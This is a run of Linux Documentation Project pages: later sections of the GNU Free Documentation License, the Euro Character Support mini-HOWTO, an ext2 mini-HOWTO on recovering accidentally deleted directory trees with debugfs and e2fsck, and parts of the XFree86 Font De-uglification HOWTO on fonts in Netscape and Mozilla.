  10. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.

  11. In any section entitled "Acknowledgements" or "Dedications", preserve the section's title, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.

  12. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.

  13. Delete any section entitled "Endorsements". Such a section may not be included in the Modified Version.

  14. Do not retitle any existing section as "Endorsements" or to conflict in title with any Invariant Section.

If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.

You may add a section entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.

You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.

The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.

Prev | Home | Next
COPYING IN QUANTITY | Up | COMBINING DOCUMENTS


COMBINING DOCUMENTS

DocBook Install mini-HOWTO
Prev B. GNU Free Documentation License Next

5. COMBINING DOCUMENTS

You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice.

The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.

In the combination, you must combine any sections entitled "History" in the various original documents, forming one section entitled "History"; likewise combine any sections entitled "Acknowledgements", and any sections entitled "Dedications". You must delete all sections entitled "Endorsements."

Prev | Home | Next
MODIFICATIONS | Up | COLLECTIONS OF DOCUMENTS


COLLECTIONS OF DOCUMENTS

DocBook Install mini-HOWTO
Prev B. GNU Free Documentation License Next

6. COLLECTIONS OF DOCUMENTS

You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.

You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.

Prev | Home | Next
COMBINING DOCUMENTS | Up | AGGREGATION WITH INDEPENDENT WORKS


AGGREGATION WITH INDEPENDENT WORKS

DocBook Install mini-HOWTO
Prev B. GNU Free Documentation License Next

7. AGGREGATION WITH INDEPENDENT WORKS

A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, does not as a whole count as a Modified Version of the Document, provided no compilation copyright is claimed for the compilation. Such a compilation is called an "aggregate", and this License does not apply to the other self-contained works thus compiled with the Document, on account of their being thus compiled, if they are not themselves derivative works of the Document.

If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one quarter of the entire aggregate, the Document's Cover Texts may be placed on covers that surround only the Document within the aggregate. Otherwise they must appear on covers around the whole aggregate.

Prev | Home | Next
COLLECTIONS OF DOCUMENTS | Up | TRANSLATION


TRANSLATION

DocBook Install mini-HOWTO
Prev B. GNU Free Documentation License Next

8. TRANSLATION

Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License provided that you also include the original English version of this License. In case of a disagreement between the translation and the original English version of this License, the original English version will prevail.

Prev | Home | Next
AGGREGATION WITH INDEPENDENT WORKS | Up | TERMINATION


TERMINATION

DocBook Install mini-HOWTO
Prev B. GNU Free Documentation License Next

9. TERMINATION

You may not copy, modify, sublicense, or distribute the Document except as expressly provided for under this License. Any other attempt to copy, modify, sublicense or distribute the Document is void, and will automatically terminate your rights under this License. However, parties who have received copies, or rights, from you under this License will not have their licenses terminated so long as such parties remain in full compliance.

Prev | Home | Next
TRANSLATION | Up | FUTURE REVISIONS OF THIS LICENSE


FUTURE REVISIONS OF THIS LICENSE

DocBook Install mini-HOWTO
Prev B. GNU Free Documentation License Next

10. FUTURE REVISIONS OF THIS LICENSE

The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.

Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation.

Prev | Home | Next
TERMINATION | Up | How to use this License for your documents


Euro Character Support Mini HOWTO

Ari Mäkelä

hauva@arska.org

Revision History
Revision v1.0.2 | 2002-04-06 | Revised by: am
Added the info that emacs support is read-only and removed the question about how the support works.
Revision v1.0.1 | 2002-03-03 | Revised by: am
Cent: added comment that cent is not usually used. More Euro links. Added information on KDE and Gnome.
Revision v1.0.0 | 2001-09-29 | Revised by: am
Original release

Abstract

This document describes how to make the Euro character support in GNU/Linux work. Finnish users might be interested to consult the Finnish HOWTO which is written in Finnish.

Table of Contents
1. Copyright and Thanks
2. The Euro Character
3. The Euro and Locales
4. The Euro and the Console
5. The Euro in the X Window System
5.1. KDE
5.2. GTK and Gnome
6. Emacs
7. Euro-links
Next
Copyright and Thanks


Copyright and Thanks

Euro Character Support Mini HOWTO
Prev Next

1. Copyright and Thanks

The document is licensed under GNU Free Documentation License , version 1.1.

Thanks for numerous people who gave me advice in Usenet.

Prev | Home | Next
Euro Character Support Mini HOWTO |  | The Euro Character


The Euro Character

Euro Character Support Mini HOWTO
Prev Next

2. The Euro Character

The new character set, ISO-8859-15 which is also known as latin9 and in order to maximize confusion as latin0, was created to replace ISO-8859-1 (latin1) and it includes the euro character.

The Euro is mapped to AltGr-e and the cent - if it is used - is mapped to AltGr-Shift-e in X and on AltGr-c on console.

The Euro Mini HOWTO was written on a Debian system and the set up works on Debian 3.0 (Debian testing as the time of writing).

Prev | Home | Next
Copyright and Thanks |  | The Euro and Locales


The Euro and Locales

Euro Character Support Mini HOWTO
Prev Next

3. The Euro and Locales

glibc 2.2 and newer support the Euro. The correct locale is, for example, fi_FI@euro.

Prev | Home | Next
The Euro Character |  | The Euro and the Console


The Euro and the Console

Euro Character Support Mini HOWTO
Prev Next

4. The Euro and the Console

Check that the file /usr/share/keymaps/include/euro.inc.gz includes lines

altgr keycode  18 = currency
altgr keycode  46 = cent

A console font, which suppports euro, must be loaded. Red Hat uses command setfont and Debian uses command consolechars.

In Debian the file /etc/console-tools/config must have ISO-8859-15 screen font:

       SCREEN_FONT=lat0-16

In Red Hat the file /etc/sysconfig/i18n must have lines

   SYSFONT=lat0-16
   SYSFONTACM=iso15

Prev | Home | Next
The Euro and Locales |  | The Euro in the X Window System


The Euro in the X Window System

Euro Character Support Mini HOWTO
Prev Next

5. The Euro in the X Window System

With default configuration AltGr-e (the right Alt for those who have no AltGr) produces the generic currency symbol which looks like a four legged spider. When the font of the program is changed to a ISO-8859-15 font the currency symbol is replaced by the Euro symbol. In Debian this can be achieved by adding line

     .XTerm.VT100.font: -jmk-neep alt-medium-r-*-*-*-120-*-*-*-*-iso8859-15

to the file /etc/X11/app-defaults/XTerm. The fonts available in distributions and installations vary.

If AltGr-e does not work add line

   keycode 26 = e E EuroSign

to the file /etc/X11/Xmodmap

5.1. KDE

Change the font setting in KControl to ISO-8859-15.

5.2. GTK and Gnome

Change the font setting in Gnome Control Center to ISO-8859-15.

A better way of doing this is changing the system wide GTK+ configuration with commands

cd /etc/gtk
ln -s gtkrc.iso-8859-15 gtkrc

Prev | Home | Next
The Euro and the Console |  | Emacs


Emacs

Euro Character Support Mini HOWTO
Prev Next

6. Emacs

Emacsen 21 and newer have partial euro support. The following elisp should work:

 (set-face-font
      'default '"-*-courier-medium-r-*-*-*-120-*-*-*-*-iso8859-15")

Note that you cannot write Euro characters. You can only see them.

Prev | Home | Next
The Euro in the X Window System |  | Euro-links


Euro-links

Euro Character Support Mini HOWTO
Prev

7. Euro-links

KWord Euro Page . Debian Euro HOWTO . Euro Character Support mini HOWTO Guylhem Aznar's Euro Pack The README of the Euro Pack Linux Journal on the Euro Pack

Prev | Home
Emacs |


Activating inodes

Ext2fs Undeletion of Directory Structures mini-HOWTO
Prev Next

7. Activating inodes

Now it is time for changing some flags of the deleted inodes.

Copy the following 6 lines into a file named "make-debugfs-input".

        #!/bin/sh
        awk '{ print "mi <" $1 ">\n"\
                     "\n\n\n\n\n\n\n"\
                     "0\n"\
                     "1\n"\
                     "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n" }'

This will simulate the user input when editing the inodes manually. We will set deletion time to 0 and link count to 1.

Note: I am using debugfs version 1.18 and if you have another version you should check if you need to adjust the number of returns above.

Now change the inodes.

        # ./make-debugfs-input < inodes | debugfs -w /dev/hdy1 | tail -c 40

If all went well it should end with "Triple Indirect Block [0] debugfs:".

Prev | Home | Next
Locating deleted inodes |  | Adding directory entries


Adding directory entries

Ext2fs Undeletion of Directory Structures mini-HOWTO
Prev Next

8. Adding directory entries

Start up debugfs in read-write mode.

        # debugfs -w /dev/hdy1

Now you should add the deleted directories to the directory were they were located before deletion.

        debugfs: link <inode> directoryname

Where inode is the inode number and directoryname is the directoryname.

After you have added the links you will notice that the directories have popped up in the current directory. You can now list their contents (from debugfs).

But the size shown for each directory is zero and that need to be fixed, otherwise they will look empty with ls from the shell.

Get out of debugfs.

        debugfs: quit

Prev | Home | Next
Activating inodes |  | Recalculation


Analyse of directory dump

Ext2fs Undeletion of Directory Structures mini-HOWTO
Prev Next

5. Analyse of directory dump

View the dumped inode in a readable format.

        # xxd debugfs-dump | less

Every entry consist of five fields. For the first two fields the bytes representing the field comes in backward order. That means the first byte is the least significant.

Description of the fields.

  1. Four bytes - Inode number.

  2. Two bytes - Directory entry length.

  3. One byte - Filename length (1-255).

  4. One byte - File type (0-7).

    0 = Unknown

    1 = Regular file

    2 = Directory

    3 = Character device

    4 = Block device

    5 = FIFO

    6 = SOCK

    7 = Symbolic link

  5. Filename (1-255 characters).

If an entry in the directory is to be deleted, then the second field at the entry before will be increased by the value of the deleted entrys second field.

If a filename is renamed to a shorter one, then the third field will be decreased.

The first entry you will see is the directory itself, represented by a dot.

Suppose that we have the following directory entry.

         c1 02 0e 00 40 00 05 01 'u' 't' 'i' 'l' 's'

Then the inode would be e02c1 in hexadecimal representation or 918209 in decimal. The next entry would be located after 64 bytes (40 in hex). We see that the filename consist of 5 bytes ("utils") and the file type (01) is a regular file.

Now recalculate the directories inode numbers in decimal representation.

If you do not like to calculate this by hand I have made a small program in C that will do this for you. The program takes as input a directory dump (created by debugfs as described in Section 4). The output (at stdout) consist of each entrys inode number and filename.

Before you run the program you need to load the dump into a hexeditor and change the directory entry length field at the entry before the one you want to get back. But it is simple. If we name the field before to x and the field at the entry you want to get back to y. Then change x to x - y.

The program called e2dirana (ext2fs directory analyse) can be found at http://www.matematik.su.se/~tomase/ext2fs-undeletion/

Prev | Home | Next
Finding inodes for deleted directories |  | Locating deleted inodes


Final touch

Ext2fs Undeletion of Directory Structures mini-HOWTO
Prev Next

11. Final touch

If in Section 9 you choosed to get files with the size of zero back you now have a problem, because those files has a non-zero deletion time and their link count is zero. That means that every time e2fsck is running it will prompt to remove (clear) those files.

The easy way to solve this is to copy the whole directory structure to another place (it can be the same partition) and then delete the old directory structure. Otherwise you will have to locate those inodes and change them with debugfs.

Now if everything have went well, things should have been restored to its original state before deletion. At least it did for me and in those tests I have made while writing this. Be sure that you have brought up to the preconditions described in Section 2.

Prev | Home | Next
If /lost+found not empty |  | References


Finding inodes for deleted directories

Ext2fs Undeletion of Directory Structures mini-HOWTO
Prev Next

4. Finding inodes for deleted directories

We will try to find out the inode numbers of the deleted directories.

        # debugfs /dev/hdy1

Walk to that place in the structure where the directories were located before the deletion. You can use ls and cd inside debugfs.

        debugfs: ls -l

Example of output from the above command.

        179289  20600      0      0       0 17-Feb-100 18:26 file-1
        918209  40700    500    500    4096 16-Jan-100 15:18 file-2
        160321  41777      0      0    4096  3-Jun-100 06:13 file-3
        177275  60660      0      6       0  5-May-98  22:32 file-4
        229380 100600    500    500   89891 19-Dec-99  15:40 file-5
        213379 120777      0      0      17 16-Jan-100 14:24 file-6

Description of the fields.

  1. Inode number.

  2. First two (or one) numbers represents the kind of inode we got:

    2 = Character device

    4 = Directory

    6 = Block device

    10 = Regular file

    12 = Symbolic link

    Last four numbers are the usual Unix rights.

  3. Owner in number representation.

  4. Group in number representation.

  5. Size in bytes.

  6. Date (Here we can see the Y2K bug =)).

  7. Time.

  8. Filename.

Now dump the mother directory to disk. Here inode is the corresponding inode number (do not forget the '<' and '>').

        debugfs: dump <inode> debugfs-dump

Get out of debugfs.

        debugfs: quit

Prev | Home | Next
Preparation |  | Analyse of directory dump


Ext2fs Undeletion of Directory Structures mini-HOWTO

Tomas Ericsson

tomase@matematik.su.se

Revision History
Revision v0.1.1 14 November 2000 Revised by: T.E.
Initial release.

This document is supposed to be as an complementary to the Ext2fs-Undeletion mini-HOWTO written by Aaron Crane. I really recommend you to carefully study that one before reading this.

Here I will describe a straight forward way of recovering whole directory structures, instead of file by file, that have been removed by a misplaced rm -rf.

Table of Contents
1. Introduction
1.1. Disclaimer
1.2. License
1.3. Feedback
1.4. New versions of this document
1.5. Acknowledgements
1.6. Background
2. Preconditions
3. Preparation
4. Finding inodes for deleted directories
5. Analyse of directory dump
6. Locating deleted inodes
7. Activating inodes
8. Adding directory entries
9. Recalculation
10. If /lost+found not empty
11. Final touch
12. References
Next
Introduction


Introduction

Ext2fs Undeletion of Directory Structures mini-HOWTO
Prev Next

1. Introduction

1.1. Disclaimer

The author is not responsible for damages due actions taken based on this document. You will do everything at your own risk.

1.2. License

This document may be distributed only subject to the terms and conditions set forth in the LDP license available at http://www.linuxdoc.org/manifesto.html

1.3. Feedback

Any kind of feedback is welcome. Corrections of errors in this text are of great interest. If someone find things described here useful I really would appreciate to hear that from you.

1.4. New versions of this document

The latest version of this document will be found at http://www.matematik.su.se/~tomase/ext2fs-undeletion/

1.5. Acknowledgements

Thanks to the following persons for correctures etc (in alphabetic order).

  • Gabriel Kihlman

  • Richard Nyberg

  • Mats Oldin

  • Tobias Westerblom

1.6. Background

This text has been written while solving my own undeletion problems that I had some time ago. I was about to move some directories from one disk to another. The problem was that the extra disk went corrupted directly after the move for some reason.

So I wanted to get the moved directories back from my original disk. There were totally about 40000 files to recover and I did not feel very much like to search and rename each one of them by hand.

I wanted to get back the whole structure of directories. The same situation would have appeared if I had made an rm -rf to those directories.

Prev | Home | Next
Ext2fs Undeletion of Directory Structures mini-HOWTO |  | Preconditions


Locating deleted inodes

Ext2fs Undeletion of Directory Structures mini-HOWTO
Prev Next

6. Locating deleted inodes

Get a list of all deleted inodes.

        # echo lsdel | debugfs /dev/hdy1 > lsdel.out

One problem here is that debugfs will not give the inode numbers to files that are zero in size (you probably have some in your /etc directory for instance). I will tell how to solve this problem in Section 9 and Section 11.

Load "lsdel.out" into a texteditor. The list of inodes should be sorted in time. Try to remember exactly what time you did that rm -rf. Probably it was the the last items you deleted and then they will be located at the bottom of the list, because it is sorted in time. Delete all lines that has nothing of interest. Save as "lsdel.out-selected".

Now we will cut away everything except the inodes.

        # cut -b 1-8 lsdel.out-selected | tr -d " " > inodes

To be sure, check that the deleted directories found above have their inodes in the list.

        # grep ^inode$ inodes

Where inode is the corresponding inode number.

Prev | Home | Next
Analyse of directory dump |  | Activating inodes


If /lost+found not empty

Ext2fs Undeletion of Directory Structures mini-HOWTO
Prev Next

10. If /lost+found not empty

Some of the directory and files may not pop-up at their right places. Instead they will be located in /lost+found with names after their inode numbers.

In this case the pointer at the ".." directory entry probably have been increased and will point to one of the later entrys in the directory (of some reason I do not know, maybe it is a fs bug).

Examine pass 3 (where directory connectivity is checked) of "e2fsck.out". There you will find which directories that are affected. Dump those to disk (as described in Section 4).

Run e2dirana both with and without the p parameter (it changes the pointer at the ".." directory entry). Here dump is the dumped directory.

        # e2dirana dump > dump1
        # e2dirana -p dump > dump2

Compare the outputs.

        # diff dump1 dump2

If they are not the same there are missing files in that directory. Then move those files from /lost+found to their right place. Here dest is a symbolic link to the destination directory. Put the output in a script and run it if you agree.

        # diff dump1 dump2 |\
          tail -n $[`diff dump1 dump2 | wc -l`-1] | cut -b 3- |\
          sed -e 's/^\([^ ]*\) \(.*\)$/mv lost+found\/#\1 dest\/"\2"/' |\
          sed -e 's/!/"\\\!"/g'

Repeat all this until /lost+found is empty.

Prev | Home | Next
Recalculation |  | Final touch


Preconditions

Ext2fs Undeletion of Directory Structures mini-HOWTO
Prev Next

2. Preconditions

It is really important that you unmount the affected partition immediately before doing anything else with it. If you have copied around some files in this partition after the accident, then the chance for this method to work has lowered a lot.

Also you must have a quite new kernel, because the 2.0.x and below zeroes indirect blocks, which will not make this process to work for files with more than 12 blocks of data.

I will describe one method of recovery and I will not leave out much for error handling. If you suspect that some step described below went wrong, I do not recommend you to go any further.

Prev | Home | Next
Introduction |  | Preparation


Preparation

Ext2fs Undeletion of Directory Structures mini-HOWTO
Prev Next

3. Preparation

Unmount the partition where you got your deleted files at. I will denote that partition with /dev/hdx1.

        # umount /dev/hdx1

Check the size in blocks of /dev/hdx1.

        # fdisk -l /dev/hdx

Now you need to have an extra partition of the same size as /dev/hdx1, to be able to act safely. Suppose that you have an empty harddrive located at /dev/hdy.

        # fdisk /dev/hdy

Create a partition with the same size as /dev/hdx1. Here size is the size in blocks (each block is 1024 kB) of /dev/hdx1 taken from above.

Note: I am using fdisk version 2.10f and if you have another version the fdisk interaction below may not be the same.

        fdisk: n      <- Add a new partition.
        fdisk: p      <- Primary partition.
        fdisk:        <- Just press return to chose the default first cylinder.
        fdisk: +sizeK <- Make a partition of the same size as /dev/hdx1.
        fdisk: w      <- Write table to disk and exit.

Now copy the content of the original partition to that extra one.

        # dd if=/dev/hdx1 of=/dev/hdy1 bs=1k

This process may take quite a long time dependent of how big the partition is. You can get the job done faster by increasing the blocksize, bs, but then you need to get the division of the partition by bs to have a remainder of zero.

From now on we will only work with that copy of the source partition to be able to step back if something goes wrong.

Prev | Home | Next
Preconditions |  | Finding inodes for deleted directories


Recalculation

Ext2fs Undeletion of Directory Structures mini-HOWTO
Prev Next

9. Recalculation

Now it is time to call e2fsck to recalculate the sizes and checksums.

Note: I am using e2fsck version 1.18 and if you have another version you should check if some parameters or interaction have changed.

If you know that you do not have any files with the size of zero that you want to recover you can do the following and skip the rest of this section (Of course you can leave out the y parameter, but then you need to answer all questions by hand and it may take a lot of time.).

        # e2fsck -f -y /dev/hdy1 > e2fsck.out 2>&1

If you instead want the zero files back you have to answer no to all questions about clearing entries and yes to the other ones.

Copy the following 7 lines into a file named "e2fsck-wrapper".

        #!/usr/bin/expect -f
        set timeout -1
        spawn /sbin/e2fsck -f $argv
        expect {
            "Clear<y>? " { send "n" ; exp_continue }
            "<y>? "      { send "y" ; exp_continue }
        }

Run the script.

        # ./e2fsck-wrapper /dev/hdy1 > e2fsck.out 2>&1

Examine "e2fsck.out" to see what e2fsck thought about your partition.

Prev | Home | Next
Adding directory entries |  | If /lost+found not empty


References

Ext2fs Undeletion of Directory Structures mini-HOWTO
Prev

12. References

Linux Ext2fs Undeletion mini-HOWTO, v1.3

  • Aaron Crane

Design and Implementation of the Second Extended Filesystem, http://e2fsprogs.sourceforge.net/ext2intro.html

  • Rémy Card, Laboratoire MASI--Institut Blaise Pascal

  • Theodore Ts'o, Massachussets Institute of Technology

  • Stephen Tweedie, University of Edinburgh

Kernel Source for Linux 2.2.16

  • linux/include/linux/ext2_fs.h

  • linux/fs/ext2/namei.c

Prev | Home
Final touch |


Adjusting Fonts in Specific Applications

XFree86 Font De-uglification HOWTO
Prev Next

5. Adjusting Fonts in Specific Applications

5.1. Netscape

Let's face it, Netscape is an important application in Linux. We all use it, and we all need it, so let's look at it specifically for a minute. An out of the box Netscape installation is prone to the font problems we've discussed -- large fonts that get pixelized, splotchy looking fonts, fonts so small they are unreadable. In short, ugly. Maybe this is why you are here?

Hopefully, at this point you have followed the above suggestions. These steps can help greatly. TrueType font availability is almost a necessity, and you need a TrueType font server for this. Many web pages specify font families -- like Arial -- that are not typically available to Linux users. This is bad design, but having some of the basic TrueType fonts available will help greatly in overcoming the short-sightedness of some designers. Microsoft -- can't live with 'em, can't live without 'em.

Assuming you have TrueType working, from the Netscape menu select Edit -> Preferences -> Fonts. Open the Variable Width Font droplist on the right side of the window. Your TrueTypes should be there along with other fonts. Choose which ever one suits your fancy as the default. Check the Allow Scaling checkbox too. If the available point sizes are 0 and 12, you can go down and, and enter your desired point size in the box to the right and click on the OK button. The down-side to this is that Netscape will not remember these settings, and you will have to do this each time you start Netscape. Unless -- you have fonts.alias set up already. Then this will solve these problems. See Section 3.3 for more on fonts.alias.

You might consider experimenting with some ~/.Xdefaults (or perhaps it's~/.Xresources on your system) settings too:

 Netscape*DocumentFonts.sizeIncrement: 10
 Netscape*documentFonts.maximumPoints: 240
 Netscape*documentFonts.xResolution*iso-8859-1: 120
 Netscape*documentFonts.yResolution*iso-8859-1: 120

The 'sizeIncrement' controls how much of a jump Netscape makes when different 'basefont' sizes are specified ala:

<basefont size=7>

for instance. The default is '20', which is a pretty good jump. Changing this can help Netscape from scaling to too large and too small of a font. The x and y resolutions are roughly equivalent to 'dpi' settings. Any random number within reason can be used here. Experiment.

Then run:

$ xrdb -merge ~/.Xdefaults

(or .Xresources as the case may be) and restart Netscape. There are many settings that can be tweaked or altered this way. Look at the Netscape.ad (app defaults) file that should be included with Netscape packages.

If this approach does not get the job done as far as the 'tiny fonts' problem in Netscape, then see the fonts.alias section above. You can really fine tune many things with this approach.

5.2. Mozilla

Mozilla configuration should be roughly the same in many respects. You might find, however, that Mozilla does a much better job of handling fonts, and pages will look better overall. Highly recommended! The only caveat is, it seems to need a fairly fast system. It may be pretty sluggish on older systems.

Also, user preferences can be stored in "user.js". Not to be confused with "prefs.js". Put user.js in whatever directory you find prefs.js in (this is not a consistent location). Attempt to set a minimum font size:

 // Don't ever show me a font smaller than this: some samples.
 user_pref("font.min-size.variable.", 12);
 user_pref("font.min-size.variable.x-western", 12);
 user_pref("font.min-size.fixed.x-western", 12);

Prev | Home | Next
XFree86 4.x |  | Odds and Ends


Odds and Ends

XFree86 Font De-uglification HOWTO
Prev

6. Odds and Ends

6.1. Notes

  • Unfortunately there is no unified font handling system for Linux. You will have to configure each individual program so you can use TrueType, Type 1 or fonts that pique your fancy. And each program may well have its own way of doing this so you will have to RTFM. Desktop Environments like GNOME and KDE may provide much of this functionality however for apps that are under their control.

  • Most GUI apps should be able to use TrueType, and Type 1 fonts too. Wordperfect for Linux, however, cannot use TrueType. (See the links section below for more on Wordperfect.) Text editors, terminal programs and the like need fixed width fonts, and do not play well with TrueType or other scalable fonts.

  • Though not discussed here, Type 1 fonts provide many of the same benefits as TrueType and are historically better supported in the Unix world. You likely have many of these installed already. Unfortunately however, Type 1 are not a web standard like TrueType. But they are suitable for many other purposes. They are where it's at for printing. See ghostscript for more on this.

  • While it is possible to specify a default point size for the xfs font server, very few applications will actually use this value.

  • Abiword comes with a suite of fonts, called 'Abisuite'. Apparently, some of these fonts have the same names as some of the well known MS TrueType fonts: Arial, etc. And apparently, these are of much less quality. And because of the way X searches for fonts, it may find these first and use these, even if the 'real' ones are installed and may be the preferred choice. The solution is to uninstall 'Abisuite'.

  • The new Xft rendering extensions of XFree86 4.x will mostly supplant similar features as provided by xfs, and older XFree86 extensions. For instance, font aliasing should be done in XftConfig if the new extensions are being used. This would only be true where the application is built against a toolkit (like QT or GTK) that supports the new extensions. This is still not universally supported. In fact, only KDE is wide spread support.

6.2. Links

  • The Video Timings HOWTO, the ins and outs of getting the most from your monitor. (Applicable only to XFree86 v.3.x.)

  • Font HOWTO Many good tips for installing fonts and for applications such as StarOffice, Applixware, Wordperfect, Ghostscript, TeX/LaTeX.

  • A TrueType HOWTO, good tips for printing, and a few application specific tips.

  • xfsft Homepage, TrueType font support for X. This is the origin of the "freetype" font module for XFree86 4.x, and Red Hat's xfs. Good site, and good links to other information related to fonts and TrueType.

  • Some Linux for Beginners. Great font site, and other Linux topics. Covers many of the topics discussed here in more detail. Some font and other tips for Mozilla: http://home.c2i.net/dark/My_Mozilla_FAQ.html.

  • Two guides specifically for Debian from Paul D. Smith: http://www.paulandlesley.org/linux/xfree4_tt.html and for 3.3.x: http://www.paulandlesley.org/linux/debian_tt.html.

  • X-TrueType Homepage, and yet another TrueType Font server, especially good for Japanese, Chinese and Korean character sets.

  • Tips on font size problems from Netscape.

  • Wordperfect for Linux -- Fonts and Printers by Rod Smith, the author of Using Corel Wordperfect 8 for Linux from Que. Excellent information on Wordperfect and where TrueType fits in.

  • XFree86 Project, the guys and gals who do an incredible amount of work to give us a killer GUI environment. Some info on fonts in XFree86 4.x.

  • Microsoft Web Fonts direct from the Lion's den -- and they are free! These can be unpacked in Linux (see above).

  • Web Fonts RPM package, contains a few of the MS web browser fonts. http://packages.debian.org/unstable/graphics/msttcorefonts.html is a similar package for Debian.

  • Sebastiano Vigna's http://freshmeat.net//webFonts4Linux automates the downloading, extracting and installation of the Microsoft fonts all in one neat package.

  • Freeware Connection -- Free Fonts Sites lots of links to lots of sites.

  • Bitstream's Geometric Slabserif TrueType Font.

  • Two converters for converting a Mac Font "suitcase" to a *nix compatible font: http://www.macinsearch.com/infomac2/font/util/tt-converter-15.html and http://www.netmagic.net/~evan/shareware/#TTFontConvert

  • The Unicode HOWTO: http://linuxdoc.org/HOWTO/Unicode-HOWTO.html

  • Two sources of 'free' TrueType fonts with large Unicode support are Bitstream Cyberbit, which covers Roman, Cyrillic, Greek, Hebrew, Arabic, combining diacritical marks, Chinese, Korean, Japanese, and more, and is available from ftp://ftp.netscape.com/pub/communicator/extras/fonts/windows/Cyberbit.ZIP. And Lucida Sans Unicode, which is included in IBM's JDK 1.3.0beta for Linux, and covers Roman, Cyrillic, Greek, Hebrew, combining diacritical marks. This can be downloaded from ftp://ftp.maths.tcd.ie/Linux/opt/IBMJava2-13/jre/lib/fonts/ as LucidaSansRegular.ttf and LucidaSansOblique.ttf. Thanks to Tzafrir Cohen for these references. He also has a nice page on Hebrew fonts and related topics at http://www.iglu.org.il/faq/?file=133.

Prev | Home
Adjusting Fonts in Specific Applications |


XFree86 Font De-uglification HOWTO

Hal Burgiss

hal@foobox.net

v1.95, 11 February 2002

How to improve X Window fonts. Various tips for improving font handling for XFree86, including sections on font servers, TrueType fonts, Netscape, and related topics.

Table of Contents
1. Introduction
1.1. Conventions Used in this Document
1.2. Change Log and What's New
1.3. New Versions
1.4. Copyright
1.5. Credits
1.6. Translations
2. X Server Configuration
2.1. Setting The FontPath
2.2. X Server Command Line Options
3. TrueType Fonts
3.1. Making TrueType Fonts Available
3.2. Font Servers
3.3. The fonts.alias File
4. XFree86 4.x
4.1. Anti-aliasing
4.2. Red Hat 7.x Differences
5. Adjusting Fonts in Specific Applications
5.1. Netscape
5.2. Mozilla
6. Odds and Ends
6.1. Notes
6.2. Links
Next
Introduction


Introduction

XFree86 Font De-uglification HOWTO
Prev Next

1. Introduction

An often heard complaint is the poor default fonts and font settings of X as implemented by many Linux distributions. Some programs use fixed width default fonts when a variable width font would be more appropriate. Other programs use fonts that are so small as to be practically unreadable. Many of the fonts that are bundled with XFree86 are not of the same quality as found on some other platforms. XFree86 does come with a halfway decent courier font, but its Times and Helvetica fonts are simple bitmap fonts that pixelize when scaled. This is changing for the better recently, but a default Linux desktop still often needs some tweaking to get the best fonts possible.

This HOWTO attempts to show how to adjust various font settings, install new fonts, and a few other things that should greatly improve the appearance and readability of fonts on the X Window Desktop. This is done by adjusting the FontPath in the XF86Config file, by adding switches to X server command line in startx or xdm (and variants), by adding new fonts, and by making sure a TrueType font server and fonts are installed. TrueType does indeed make a huge difference in many applications.

Comments, corrections, additions and critiques are always welcome. You can reach the author at <hal@foobox.net>. Contributions are also welcomed. Especially anyone who really stays current with KDE and/or GNOME issues!

1.1. Conventions Used in this Document

  • Where examples of commands are used, a "#" character is used to denote where typically the command would be run as the root user. A "$" is used where typically a non-root user would be executing the command.

  • The examples use /usr/local/share/fonts/ttfonts as our TrueType font directory. There is no magic to this location, and could conceivably just as well be in any number of other locations. Some distros may have a default location for TrueType fonts, and you may want to use that instead.

  • References to "xfs" are to the xfs as packaged by Red Hat (and some other distros) for versions 6.x and later. This differs significantly in some respects from the stock XFree86 xfs.

  • References to "Netscape" are to the entire suite of programs from Netscape: Communicator, Navigator, Messenger, etc. And for all intents and purposes, font configuration in Mozilla is very similar (but generally looks better!).

  • 'XF86Config' is the X configuration file. This has changed to 'XF86Config-4' for XFree86 v4.x. For the most part, we'll just use 'XF86Config' here.

    Also, while some aspects of XFree86 4.x configuration are the same as 3.3.x, there are some significant differences. We'll only highlight the differences. So unless noted otherwise, any comments or examples will apply to both 3.3.x and 4.x versions.

